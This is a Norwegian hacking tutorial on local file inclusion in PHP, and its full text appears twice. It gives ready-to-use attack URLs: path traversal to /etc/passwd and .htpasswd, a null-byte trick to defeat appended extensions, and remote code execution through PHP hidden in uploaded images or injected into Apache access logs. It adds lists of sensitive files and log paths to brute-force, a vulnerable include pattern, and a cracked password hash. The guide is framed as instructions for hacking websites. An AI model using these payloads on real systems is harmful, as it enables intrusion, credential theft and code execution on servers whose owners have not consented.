Les først om remote file inclusion om du er ukjent med metoden.
Hva er LFI?
Local file inclusion er en metode som hackere bruker for å lese innholdet i filer de ikke skal ha tilgang til.
Som nevnt i forrige guide, så handler dette om å utnytte inkluderingsscript sånn som dette:
Hvorfor LFI forskjellig fra RFI?
LFI svakheter forekommer oftere enn RFI. Dette skyldes f.eks. at php direktivet "allow_url_include" er satt til false. Slik at data ikke kan lastes fra andre steder enn selve serveren.
Andre grunner kan være beskyttelsesmekanismer i php koden osv.
Enkelt eksempel
Denne gangen funker det ikke å besøke:
index.php?page=http://angriper/kode.txt
Fordi allow_url_include er satt til false.
Hva gjør man så? Smak på følgende url:
index.php?page=../../../../../../../../etc/passwd
Det som vil skje her, er at /etc/passwd filen vil bli inkludert, og lesbar for angriperen. Dette skjer fordi php koden gjør som den er instruert til å gjøre. Og i linux og windows betyr ../ et steg opp i mappen. Ofte vet man ikke i hvilken mappe filer blir inkludert fra, men skriver man ../ mange nok ganger, slik:
index.php?page=../../../../../../../../../../../../../../../../etc/passwd
Blir uansett filen inkludert. Vet ikke hvorfor.
Hvilke filer er interessante?
Er ikke så kjent med linux og sensitive filer, men fant en liste på google:
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
Poenget er at du forstår prinsippet. En annen aktuell fil som kan være interessant å inkludere er .htpasswd. Du har kanskje sett denne boksen før:
http://www.aerje.com/blog/passwordauth2.jpg
Brukernavn og passord ligger i .htpasswd filen. Så om du besøker:
index.php?page=../admin/.htpasswd
Vil du se noe slikt:
espen:$apr1$/BGpy/..$DDRY0HF5aBtTxAx25bKHH.
Har ikke peiling hvilken type hashing det er, men som alltid, kan de bruteforces. Passordet er "lol".
Hvordan omgå scripts som slenger på filendelser
De fleste script slenger på en filendelse slik:
Man omgår ofte denne sperren ved å bruke en metode som kalles for nullbyte hack(exploit elr noe slikt). Denne terminerer tekststrenger.
Har ikke detaljkunnskap om hvorfor dette fungerer, men slik kan det utnyttes:
index.php?page=../admin/.htpasswd%00
%00 er urlencodingen for nullbyte \0. Denne vil inkludere .htpasswd, fordi filendelsen ".php" ikke slenges på. En forutsetning for at dette skal fungere er at magic_qoutes er slått av i php. Magic_qoutes filtrerer bort slike tegn.
Kommer ikke til å skrive %00 i resten av eksemplene.
Men finner ingenting nyttig!
Ja bortsett fra .htpasswd greiene kan man egentlig bare lese filer på serveren. Man får altså kun lest innhold i filer, og prøver man å inkludere andre php filer som f.eks. dbkobling.php, får du ikke ut databasepassord derfra. Fordi php koden tolkes, html genereres og sendes til nettleseren. Det blir egentlig det samme som å besøke selve filen.
Men som jeg skal vise, går det an å få kjørt php kode likevel.
Så hvordan hacke nettsiden?
Kanskje ikke så åpenbart for mange, men man må få lastet kode innpå serveren, og deretter inkludere denne.
Det fins mange måter å gjøre dette på. På mange nettcommynities fins det kanskje en filopplaster der du kan laste opp alle typer filer utenom php filer etc? Da laster du opp f.eks. kode.txt med din php kode, og inkluderer denne slik:
index.php?page=../user/klovn12/files/kode.txt
Og plutselig blir koden kjørt.
Dersom det kun er lov til å laste opp bilder, tar du bare et random bilde, åpner det i en ascii editor, og skriver inn php koden et sted. Dette fungerer fordi php kjører kun phpkode som er omkranset i <php> og </php>, resten blir bare spyttet ut igjen.
Dette med å hacke filopplastninger er forresten et helt eget emnet, og jeg har forenklet eksempelet her.
Det fins ingen muligheter for filopplastning
Hvordan i allverden får man lurt inn kode på serveren da? Det kan gjøres via http logger. access_log og error_log er to typer logfiler som apache genererer og ligger et sted på serveren. Så det som er mulig er å kontakte http serveren med disse headerene:
GET <?php FARLIG_KODE ?> HTTP/1.1
host: adressen her
Dette kan ikke gjøres via nettleser fordi den vil urlencode innholdet før det sendes avgårde. Men bruk f.eks. putty eller telnet.
Skjønte du ikke de siste 5 setninger må du lese deg opp på hvordan http protokoller fungerer.
Når du har lastet phpkoden inn i en loggfil må du følgelig finne denne loggfilen. Forskjellige versjoner av linux/webserver lagrer disse på forskjellige steder. Her er noen eksempler:
etc/httpd/logs/acces.log
etc/httpd/logs/error_log
etc/httpd/logs/error.log
var/www/logs/access_log
var/www/logs/access.log
usr/local/apache/logs/access_log
usr/local/apache/logs/access.log
Men dette må bruteforces.
Når du har lastet inn kode, og funnet loggfilen, besøker du:
index.php?page=../../../../../../usr/local/apache/logs/access_log
Ofte er loggfilen uhyggelig svær(veldig mange megabytes), et triks er da å bruke http headers til å kun motta de siste 2000 bytes f.eks. Har ikke testet ut dette, men det skal visst fungere. Prinsipp eksempel:
Range: bytes=-2048
Noen sluttord til de som ikke skjønte noe av dette
Hacking kan ikke læres på en time eller to. Det tar mange hundre timer. Dersom du ikke skjønte denne guiden må du lese deg opp på http protokollen, samt å lære deg litt php.
Noen sluttord til resten
Det fins mer info om emnet på google. Og det fins mange andre måter å få lastet inn kode, og å få trikset inn php kode.
Flittig bruk av php's session filer f.eks.
Det går an å kjøre php kode uten å inkludere noen filer i det hele tatt. Men tar det senere en gang. Har du lyst til å lære deg dette grundig, ta et søk på "local file inclusion tutorial" på google. Les de 30 første resultater.
Ikke plag andre, vær grei og snill, forøvrig kan du gjøre hva du vil.
KILDER
http://www.google.no/search?hl=en&cl...earch&aq=f&oq=
Hva er LFI?
Local file inclusion er en metode som hackere bruker for å lese innholdet i filer de ikke skal ha tilgang til.
Som nevnt i forrige guide, så handler dette om å utnytte inkluderingsscript sånn som dette:
Kode
<?php $page = $_GET['page']; include($page); ?>
LFI svakheter forekommer oftere enn RFI. Dette skyldes f.eks. at php direktivet "allow_url_include" er satt til false. Slik at data ikke kan lastes fra andre steder enn selve serveren.
Andre grunner kan være beskyttelsesmekanismer i php koden osv.
Enkelt eksempel
Kode
<?php $page = $_GET['page']; include($page); ?>
index.php?page=http://angriper/kode.txt
Fordi allow_url_include er satt til false.
Hva gjør man så? Smak på følgende url:
index.php?page=../../../../../../../../etc/passwd
Det som vil skje her, er at /etc/passwd filen vil bli inkludert, og lesbar for angriperen. Dette skjer fordi php koden gjør som den er instruert til å gjøre. Og i linux og windows betyr ../ et steg opp i mappen. Ofte vet man ikke i hvilken mappe filer blir inkludert fra, men skriver man ../ mange nok ganger, slik:
index.php?page=../../../../../../../../../../../../../../../../etc/passwd
Blir uansett filen inkludert. Vet ikke hvorfor.
Hvilke filer er interessante?
Er ikke så kjent med linux og sensitive filer, men fant en liste på google:
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
Poenget er at du forstår prinsippet. En annen aktuell fil som kan være interessant å inkludere er .htpasswd. Du har kanskje sett denne boksen før:
http://www.aerje.com/blog/passwordauth2.jpg
Brukernavn og passord ligger i .htpasswd filen. Så om du besøker:
index.php?page=../admin/.htpasswd
Vil du se noe slikt:
espen:$apr1$/BGpy/..$DDRY0HF5aBtTxAx25bKHH.
Har ikke peiling hvilken type hashing det er, men som alltid, kan de bruteforces. Passordet er "lol".
Hvordan omgå scripts som slenger på filendelser
De fleste script slenger på en filendelse slik:
Kode
<?php $page = $_GET['page']; include($page . ".php"); ?>
The "poison null byte" exploit takes advantage of how strings with a known length can contain null bytes and what happens when that string is converted for use with an API that uses null terminated strings. The end result is that by carefully placing a null byte in the string, the attacker is able to force the string to end at that point, even after the application has appended more characters to the string, like for example, a filename extension.
Vis hele sitatet...
index.php?page=../admin/.htpasswd%00
%00 er urlencodingen for nullbyte \0. Denne vil inkludere .htpasswd, fordi filendelsen ".php" ikke slenges på. En forutsetning for at dette skal fungere er at magic_qoutes er slått av i php. Magic_qoutes filtrerer bort slike tegn.
Kommer ikke til å skrive %00 i resten av eksemplene.
Men finner ingenting nyttig!
Ja bortsett fra .htpasswd greiene kan man egentlig bare lese filer på serveren. Man får altså kun lest innhold i filer, og prøver man å inkludere andre php filer som f.eks. dbkobling.php, får du ikke ut databasepassord derfra. Fordi php koden tolkes, html genereres og sendes til nettleseren. Det blir egentlig det samme som å besøke selve filen.
Men som jeg skal vise, går det an å få kjørt php kode likevel.
Så hvordan hacke nettsiden?
Kanskje ikke så åpenbart for mange, men man må få lastet kode innpå serveren, og deretter inkludere denne.
Det fins mange måter å gjøre dette på. På mange nettcommynities fins det kanskje en filopplaster der du kan laste opp alle typer filer utenom php filer etc? Da laster du opp f.eks. kode.txt med din php kode, og inkluderer denne slik:
index.php?page=../user/klovn12/files/kode.txt
Og plutselig blir koden kjørt.
Dersom det kun er lov til å laste opp bilder, tar du bare et random bilde, åpner det i en ascii editor, og skriver inn php koden et sted. Dette fungerer fordi php kjører kun phpkode som er omkranset i <php> og </php>, resten blir bare spyttet ut igjen.
Dette med å hacke filopplastninger er forresten et helt eget emnet, og jeg har forenklet eksempelet her.
Det fins ingen muligheter for filopplastning
Hvordan i allverden får man lurt inn kode på serveren da? Det kan gjøres via http logger. access_log og error_log er to typer logfiler som apache genererer og ligger et sted på serveren. Så det som er mulig er å kontakte http serveren med disse headerene:
GET <?php FARLIG_KODE ?> HTTP/1.1
host: adressen her
Dette kan ikke gjøres via nettleser fordi den vil urlencode innholdet før det sendes avgårde. Men bruk f.eks. putty eller telnet.
Skjønte du ikke de siste 5 setninger må du lese deg opp på hvordan http protokoller fungerer.
Når du har lastet phpkoden inn i en loggfil må du følgelig finne denne loggfilen. Forskjellige versjoner av linux/webserver lagrer disse på forskjellige steder. Her er noen eksempler:
etc/httpd/logs/acces.log
etc/httpd/logs/error_log
etc/httpd/logs/error.log
var/www/logs/access_log
var/www/logs/access.log
usr/local/apache/logs/access_log
usr/local/apache/logs/access.log
Men dette må bruteforces.
Når du har lastet inn kode, og funnet loggfilen, besøker du:
index.php?page=../../../../../../usr/local/apache/logs/access_log
Ofte er loggfilen uhyggelig svær(veldig mange megabytes), et triks er da å bruke http headers til å kun motta de siste 2000 bytes f.eks. Har ikke testet ut dette, men det skal visst fungere. Prinsipp eksempel:
Range: bytes=-2048
Noen sluttord til de som ikke skjønte noe av dette
Hacking kan ikke læres på en time eller to. Det tar mange hundre timer. Dersom du ikke skjønte denne guiden må du lese deg opp på http protokollen, samt å lære deg litt php.
Noen sluttord til resten
Det fins mer info om emnet på google. Og det fins mange andre måter å få lastet inn kode, og å få trikset inn php kode.
Flittig bruk av php's session filer f.eks.
Det går an å kjøre php kode uten å inkludere noen filer i det hele tatt. Men tar det senere en gang. Har du lyst til å lære deg dette grundig, ta et søk på "local file inclusion tutorial" på google. Les de 30 første resultater.
Ikke plag andre, vær grei og snill, forøvrig kan du gjøre hva du vil.
KILDER
http://www.google.no/search?hl=en&cl...earch&aq=f&oq=